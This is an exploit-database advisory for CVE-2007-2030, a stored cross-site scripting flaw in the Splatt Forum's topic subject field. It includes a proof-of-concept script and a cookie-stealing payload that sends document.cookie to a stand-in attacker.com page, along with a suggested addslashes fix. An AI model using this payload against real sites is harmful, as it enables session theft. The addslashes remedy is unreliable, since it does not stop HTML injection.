Advertisement
CVE | Category | Price | Severity |
---|---|---|---|
CVE-2007-2030 | CWE-Other | $200-$500 | High |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Unknown | High | Remote | 2008-03-11 |
CVSS | EPSS | EPSSP |
---|---|---|
Not available | 0.02192 | 0.50148 |
The block-Forums.php file have a vuln if an attacker insert a malformatted subject to a topic of Splatt Forum. A type of subject is: "><script>alert('bug'");</script> The 'alt' tag is closed by "> and the other text is normal html. This bug is very bad if a subject is: "><script>window.open('www.attacker.com/prova.php?cookie='+documen t.cookie);</script> And prova.php register cokkies in a file. The solution: Add under "$title2 = stripslashes($title2);" line, this line: "$title2 = addslashes($title2);" And now, backward any " there is a backslash!
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.